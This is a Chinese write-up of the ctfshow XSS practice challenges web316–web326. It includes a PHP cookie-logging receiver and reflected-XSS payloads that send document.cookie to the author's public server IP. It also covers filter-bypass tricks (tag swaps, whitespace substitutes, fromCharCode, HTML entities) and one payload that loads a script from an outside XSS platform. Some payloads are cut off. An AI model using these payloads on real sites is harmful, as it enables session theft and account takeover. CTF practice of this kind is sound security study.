您现在的位置是:首页 > 技术教程 正文

Ctfshow web入门 XSS篇 web316-web333 详细题解 全

admin 阅读: 2024-03-30
后台-插件-广告管理-内容页头部广告(手机)

CTFshow XSS web316

是反射型 XSS

image-20230926195248086

法一:

利用现成平台

image-20230926195306022

image-20230926195314518

法二:

自己搭服务器

先在服务器上面放一个接受Cookie的文件。

image-20230926195330259

文件内容:

<?php $cookie = $_GET['cookie']; $time = date('Y-m-d h:i:s', time()); $log = fopen("cookie.txt", "a"); fwrite($log,$time.': '. $cookie . "\n"); fclose($log); ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

payload:

<script>location.href="http://47.98.193.145(自己服务器的公网ip)/1111(我多建了一个文件夹)/127.php(存放上述php代码的文件)?cookie="+document.cookiescript>
  • 1

image-20230926195430781

已经获取到Cookie了

image-20230926195436757

image-20230926195448397

之后的题都用服务器不用XSS平台了。

管理服务器我用的是xshell和xftp。

CTFshow XSS web317

和上一题一样的情景。

image-20230926195536601

测试一下过滤了script了。

image-20230926195612550

标签可以用 img

Payload:

  • 1

CTFshow XSS web318

先进行一下测试,看看过滤了什么。

无回显

image-20230926195932808

无回显

image-20230926195938486

alert(1)有回显,可以用头

image-20230926200108201

payload:

  • 1

image-20230926200117156

这些payload也行:

<body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie">body> <body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie">
  • 1
  • 2
  • 3
  • 4
  • 5

image-20230926200256695

CTFshow XSS web319

同web318

CTFshow XSS web320

以这种方式排查过滤,试出他过滤了script,img,空格。

image-20230926200647075

空格可以用%09、tab、/、/**/代替。

Payload:

  • 1

扩展一下payload:

String.fromCharCode()函数:ascii码转字符

参考:https://www.runoob.com/jsref/jsref-fromcharcode.html

String.fromCharCode(111,110,108,111,97,100); 控制台运行结果如下:

image-20230926205631362

用它我可以构造一个payload:

  • 1

String.fromCharCode(***)就是

字符串转ascii码脚本:

input_str = input("请输入字符串: ") # 获取用户输入的字符串 ascii_list = [] # 遍历字符串,将每个字符转换为ASCII码,并添加到列表中 for char in input_str: ascii_code = ord(char) # 使用ord()函数获取字符的ASCII码 ascii_list.append(str(ascii_code)) # 将ASCII码转换为字符串并添加到列表 # 将列表中的ASCII码用逗号隔开,并打印结果 result = ','.join(ascii_list) print("转换后的ASCII码:", result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

ascii码转字符串脚本:

def ascii_to_string(ascii_str): # 将以逗号分隔的ASCII码字符串分割成一个列表 ascii_list = ascii_str.split(',') # 使用列表推导式将ASCII码转换为字符,并连接成一个字符串 result = ''.join(chr(int(code)) for code in ascii_list) return result # 输入以逗号分隔的ASCII码字符串 ascii_str = input("请输入以逗号分隔的ASCII码字符串: ") # 调用函数进行转换并打印结果 string_result = ascii_to_string(ascii_str) print("转换后的字符串:", string_result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

image-20230926212742649

后来想了想,刷这个是以入门为目的,这种千奇百怪的payload就先不用了,我会放在文章最后,感兴趣的师傅们看看哦。

CTFshow XSS web321

同web320

CTFshow XSS web322

过滤了script,img,iframe,xss,空格,分号,逗号。

网上wp说过滤了点号. 个人尝试过貌似没有。

payload:

iframe>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

image-20230926213817142

CTFshow XSS web323

同web322

CTFshow XSS web324

同web322

CTFshow XSS web325

同web322

CTFshow XSS web326

同web322

反射型到这一题应该就截止了,现在讲讲千奇百怪的payload。

反射型绕过过滤好文:xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户


一、

<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://xs.sb/1Bqu"></sCrIpT>>
  • 1

原文描述是10进制转实体。

这个<其实是十进制的html 实体编码。字符串转十进制的html 实体编码脚本如下:

def string_to_html_entities(input_str): html_entities = [f'&#{ord(char)};' for char in input_str] result = ''.join(html_entities) return result input_str = input("请输入字符串: ") html_entities_result = string_to_html_entities(input_str) print("HTML实体编码:", html_entities_result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8


二、